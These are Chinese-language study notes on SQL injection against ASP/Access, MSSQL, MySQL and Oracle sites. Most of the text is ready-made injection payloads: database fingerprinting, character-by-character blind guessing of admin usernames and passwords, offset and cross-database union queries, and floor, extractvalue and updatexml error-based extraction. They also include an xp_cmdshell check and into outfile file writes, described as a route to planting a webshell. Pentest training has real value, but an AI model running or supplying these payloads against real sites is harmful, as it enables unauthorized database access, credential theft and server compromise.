sql注入的一些筆記
據不完全統計,國內網站ASP+Access或SQLServer佔70%以上,PHP+MySQL佔20%。
一般asp+access組合比較多,aspx+mssql(SQL Server)組合比較多
常用資料庫
常見的資料庫有Oracle、MySQL、SQL Server、Access、MSsql、mongodb等
關係型資料庫通過外來鍵關聯來建立表與表之間的關係,非關係資料庫通常指資料以物件的形式儲存在資料庫中,而物件之間的關係通過每個物件自身的屬性來決定。
len()和length()
在mssql和mysql以及db2內,返回長度值呼叫len()函式;在oracle和INFORMIX則是通過length()來返回長度值。
當你使用and len('a')=1的時候,返回正常頁面時,可以推斷當前資料庫型別可能是mssql,或mysql或是db2,反之可能會是orcale和informix.(這裡有代繼續考究)
@@version和version()
在mysql內,可以用@@version或是version()來返回當前的版本資訊。但是無法判斷mysql還是mssql時,可以用version()函式來構造判斷。
version()>1返回與@@version>1相同頁面時,則可能是mysql。如果出現提示version()錯誤時,則可能是mssql。
substring()和substr()
在mssql中可以呼叫substring()。oracle則只可以呼叫substr()。
length() lengthb() char_length()
1、Oracle: length(): 表示字串長度 lengthb():表示字串的位元組長度
2、mysql: length():返回字串所佔的位元組數 char_length():返回字串的字元數
資料庫判斷
(1)註釋符判斷
–-是 Oracle 和 MSSQL 支援的註釋符,如果返回正常,則說明為是這兩種資料庫型別之一
;是子句查詢識別符號,Oracle 不支援多行查詢,因此如果返回錯誤,則說明很可能是 Oracle
(2)函式判斷
注意:Access只有一個數據庫,直接猜解表名即可
and ( select count(*) from sys.usr_tables) > 0 oracle資料庫
and (select count(*) from msysobjects) > 0 -返回許可權不足為access資料庫
and (select count(*)from MSysAccessObjects)>0 返回正確為access 資料庫
and (select count(*)from sysobjects)>0 返回正常說明是 mssql 資料庫
and length(user())>10 返回正常說明是 Mysql
Oracle 可以根據 from dual 虛擬庫判斷
對了,判斷注入點忘記說了
數字型:id=2-1
字元型: ’ 、’)、 '))、 "、 ")、 "))
註釋符:-- (這是–空格)、–+、/**/、#
通過觀察頁面是否正常,判斷頁面是否存在注入點
如 id=21’ and 1=1 %23 頁面正常
id=21’ and 1=2 %23 頁面返回無資料
MySQL 與 MSSQL 及 ACCESS 之間的區別
(1)MySQL5.0 以下沒有 information_schema 這個預設資料庫
(2)ACCESS 沒有庫名,只有表和欄位,並且注入時,後面必須跟表名,因此只能爆表,ACCESS
舉例:select 1,2,3 from table_name
union select 1,2,3 from table_name
(3)MySQL 使用 limit 排序,ACCESS 使用 TOP 排序(TOP 在 MSSQL 也可使用)
各資料庫標誌性資訊
sql server: select @@version --
Oracle : select banner from v$version
mysql :select @@version, version() --
length(user)>0正常
postgresql: select version() --
各資料庫特有的函式:
sql server: @@pack_received @@rowcount
mysql: connection_id() last_insert_id() row_count()
oracle: bitand(1,1)
postgresql: select extract( dow from row())
對於字串處理方式:
sql server: id=1 and 'a'+'b'='ab' --
mssql: id=1 and 'a' + 'b' = 'ab'
mysql: id= 1 and 'a'+'b'='ab' ,'ab'=concat('a' , 'b')
oracle: id=1 and 'a'+'b' = 'a' || 'b' , 'ab'=concat('a' , 'b')
postgresql: id=1 and 'a' + 'b' = 'a' || 'b', 'ab' = concat('a' , 'b')
特殊符號,註釋的判斷
1、"null" 和 "%00" 是Access支援的註釋
2、";" 是子句查詢識別符號,在Oracle中不支援多行查詢,返回錯誤,很可能是Oracle資料庫。
(SQL Server) MSsql服務、埠、字尾
埠:1433
字尾:cracer.mdf
日誌檔案字尾:cracer_log.ldf
mssql資料庫許可權
sa許可權:資料庫操作,檔案管理,命令執行,登錄檔讀取等system
db許可權:檔案管理,資料庫操作等users-administrators
public許可權:資料庫操作guest-users
SQL Server有一些系統變數,如果伺服器IIS提示沒關閉,並且SQL Server返回錯誤提示的話,那可以直接從出錯資訊的獲取,方法如下:
?id=49 and user>0
這句語句很簡單,但卻包含了SQL Server特有注入方法的精髓,我自己也是在一次無意的測試中發現這種效率極高的猜解方法。先看看含義,前面語句正常,重點在and user>0, user是SQL Server的一個內建變數,它的值是當前連線的使用者名稱,型別為nvarchar。拿一個nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQL Server的出錯提示是:將nvarchar值"abc"轉換資料型別為int的列時發生語法錯誤,abc正是變數user的值,這樣,就拿到了資料庫的使用者名稱。
常用測試語句:
and exists(select* from sysobjects) //判斷資料庫是否為SQLServer
and exists(select * from tableName) //判斷某表是否存在..tableName為表名
and 1=(select @@VERSION) //SQLServer版本
and 1=(select db_name()) //當前資料庫名
and 1=(select @@servername) //本地服務名
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判斷是否是系統管理員
and 1=(select IS_MEMBER('db_owner')) //判斷是否是庫許可權
and 1=(select HAS_DBACCESS('master')) //判斷是否有庫讀取許可權
and 1=(select count(*) from master.dbo.sysobjects where xtype ='X' and name='xp_cmdshell') //判斷XP_CMDSHELL是否存在
注入的分類
內聯注入
布林注入
報錯注入
延時注入
堆疊注入
常識:
Access中,中文的ASCII碼可能會出現負數,取出該負數後用abs()取絕對值,漢字字元不變。
SQL Server中,中文的ASCII為正數,由於UNICODE的雙位編碼,不能用函式ascii()取得ASCII碼,必須用函式unicode()返回unicode值,再用nchar函式取得對應的中文字元。
Access注入及其常見函式
猜解表名:and exists( select * from 表名)
猜解列名:and exists (select 列名 from 表名)
猜解使用者名稱和密碼長度
and ( select top 1 len(列名 ) from 表名) = X ----x代表數字,返回正確代表所猜的列名長度為這個數字
如:
判斷使用者名稱長度是否大於零:and ( select top 1 len( username) from admin) > 0
猜解使用者和密碼的ascii碼
這裡應該採用截半法來提高效率。ascii碼 0-126
這裡假設使用者為:admin 密碼為:admin888,猜出來的ascii碼用轉換工具轉換下就可以得出明文
and ( select top 1 asc( mid( username,1,1)) from admin) > 97
and ( select top 1 asc( mid( username,1,1)) from admin) = 97
and ( select top 1 asc( mid( username,2,1)) from admin) = 100
and ( select top 1 asc( mid( username,3,1)) from admin) = 109
and ( select top 1 asc( mid( username,4,1)) from admin) = 105
偏移注入
利用 “* ”代替admin表記憶體在的欄位
1、假設order by 判斷欄位為18
2、union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from admin
3、當成功時說明admin下為15個欄位,一直到返回列名(不一定成功)
?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin ?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin ?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin
偏移注入的基本公式為:
order by 出的欄位數減去*號欄位數,然後再用order by的欄位數減去2倍剛才得出的答案
也就是 18-15 = 3
18 - 3*2 = 12
最後注入
asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from ( admin as a inner join admin as b on a.id = b.id)
跨庫查詢(需要知道另一個數據庫絕對路徑和表名、欄位名)
?id = 1 union select 1,2,3,password,5,6 from [另一個數據庫的絕對路徑].需要查詢的表
Mysql注入
mysql資料庫在滲透過程中能夠使用的功能還是比較多的,除了讀取資料之外,還可以進行對檔案進行讀寫(前提是許可權足夠)。
讀取前提:
1.使用者許可權足夠高,儘量具有root許可權。
2.secure_file_priv不為NULL。
3.獲取web目錄的物理路徑。
Mysql用secure_file_priv這個配置項來完成對資料匯入匯出的限制。如果secure_file_priv=NULL,Mysql服務會禁止匯入和匯出操作。通過命令檢視secure_file_priv的當前值,確認是否允許匯入匯出以及匯出檔案路徑。
show variables like '%secure_file_priv';
MySQL中root使用者擁有所有許可權,但寫入webshell並不需要一定是root使用者許可權,比如資料庫使用者只要擁有file許可權就可以執行select into outfile操作。
當secure_file_priv檔案匯出路徑與web目錄路徑重疊,寫入webshell才可以被訪問到。
檔案注入
?id=0 union select 1,'test',3,4,5 into outfile 'c:\\111.txt' # 向系統寫入檔案
?id=0 union select 1,load_file('c:\\ 111.txt'),3,4,5 #回顯內容 證明寫入成功
盲注
and (select length(database())) > 4 #判斷資料庫名稱長度
and (select ascii(substr (database(),1,1))) >119 #判斷當前資料庫第一個字母是什麼
報錯注入
and select 1 from ( select count(*), concat(version(),floor(rand(0)*2))) x from information_schema.tables group by x) a ) 通過floor 報錯
or 1 group by concat_ws(0x7e,version() , floor( rand ( 0*2 )) having min(0) or 1 #通過floor報錯
and extractvalue( 1, concat( 0x5c, (select version ()))) #利用extractvalue函式報錯(長度有限制,最長32位)
and 1 = (updatexml(1,concat(0x23,(select version())),1)) #利用updatexml函式報錯(長度有限制,最長32位)